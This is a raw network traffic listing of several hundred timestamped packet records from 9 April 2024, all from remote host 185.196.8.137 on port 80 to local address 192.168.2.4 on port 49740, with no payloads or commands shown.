Apr 9, 2024 14:54:04.789351940 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789366007 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789381027 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789437056 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789482117 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789496899 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789586067 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789648056 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789683104 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789701939 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789843082 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789859056 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.789923906 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790007114 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790023088 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790071011 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790148973 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790186882 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790200949 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790251970 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790318966 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790390015 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790469885 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790484905 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790596962 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790678978 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790695906 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790709972 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790740013 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790822029 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790837049 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790957928 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.790973902 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.791023016 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.791038990 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.791074991 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.791157961 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.791403055 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.791481972 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.791582108 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.791596889 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.791635990 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.791651011 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.791863918 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.791955948 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.792095900 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.792113066 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.792160034 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.792233944 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.792272091 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.792409897 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.792426109 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.792448997 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.792521954 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.792783976 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.793138027 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.793152094 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.793297052 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.793531895 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.793648005 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.793880939 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.793895960 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.793973923 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.794240952 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.794255972 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.794328928 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.794397116 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.794411898 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.794426918 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.794523954 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.794593096 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.794641018 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.794704914 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.794872999 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.794912100 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.795016050 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.795100927 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.795211077 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.795454025 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.795469999 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.795526981 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.795541048 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.795629978 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.795703888 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.795772076 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.795967102 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796077967 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796092987 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796108961 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796123028 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796233892 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796334028 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796349049 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796375036 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796428919 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796528101 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796612024 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796627045 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796641111 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796654940 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796710014 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.796824932 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797013998 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797106981 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797122002 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797137022 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797183037 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797198057 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797213078 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797286034 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797370911 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797394037 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797408104 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797437906 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797506094 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797612906 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797667027 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797785997 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.797863960 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.798041105 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.798098087 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.798435926 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.798489094 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.798572063 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.798621893 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.798739910 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.798837900 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.798898935 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.798913956 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.798947096 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.798965931 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799038887 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799093962 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799175024 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799189091 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799202919 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799262047 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799329042 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799422026 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799539089 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799618006 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799653053 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799668074 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799796104 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799810886 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.799962044 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.800023079 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.800097942 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.800177097 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.800192118 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.800400019 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.800421953 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.800503969 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.800638914 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.800821066 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.800837994 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.800852060 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.800919056 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801049948 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801065922 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801101923 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801116943 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801147938 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801208973 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801223993 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801238060 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801295996 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801342964 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801426888 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801523924 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801589012 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801646948 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801757097 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801815987 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801877022 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.801991940 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.802097082 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.802351952 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.802369118 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.802382946 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.802438974 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.802479982 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.802562952 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.802737951 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.802791119 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.802804947 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.802973986 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803092003 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803155899 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803170919 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803245068 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803258896 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803297997 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803360939 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803452015 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803508043 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803539038 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803600073 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803615093 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803698063 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803733110 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803797007 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803863049 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803879023 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803951025 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.803987026 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804042101 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804114103 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804128885 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804212093 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804264069 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804277897 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804306984 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804377079 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804467916 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804541111 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804625988 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804641008 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804655075 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804774046 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.804903030 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805077076 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805125952 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805140018 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805195093 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805305004 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805393934 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805409908 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805648088 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805805922 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805820942 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805835962 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805896997 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805912018 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805977106 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.805991888 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.806113005 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.806127071 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.806155920 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.806233883 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.806289911 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.806360960 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.806477070 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.806597948 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.806613922 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.806772947 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.806844950 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.806898117 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.806973934 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.806988955 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807044029 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807060003 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807085991 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807101011 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807145119 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807204962 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807220936 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807308912 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807374954 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807389975 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807454109 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807468891 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807548046 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807635069 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807717085 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807790995 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807858944 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807898045 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807940960 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.807990074 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.808007002 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.808058977 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.808073997 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.810472965 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.810491085 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.810545921 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.810635090 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.810842991 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.810894012 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.810909033 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.810945034 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.811052084 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.811176062 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.813611984 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.813662052 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.813707113 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.813796997 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.813872099 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.813946962 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.813997030 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.814037085 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.814136028 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.814260960 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.814276934 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.814291000 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.814421892 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.814528942 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.814589977 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.814668894 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.814682961 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.814771891 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.814825058 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.814955950 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815007925 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815150976 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815208912 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815224886 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815282106 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815341949 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815438986 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815453053 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815500021 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815628052 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815642118 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815748930 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815817118 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815871000 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815944910 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.815987110 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.816001892 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.816080093 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.816119909 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.816162109 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.816302061 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.816356897 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.816370964 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.816471100 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.816485882 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.816528082 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.816623926 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.816663980 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.816953897 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.817014933 CEST	80	49740	185.196.8.137	192.168.2.4
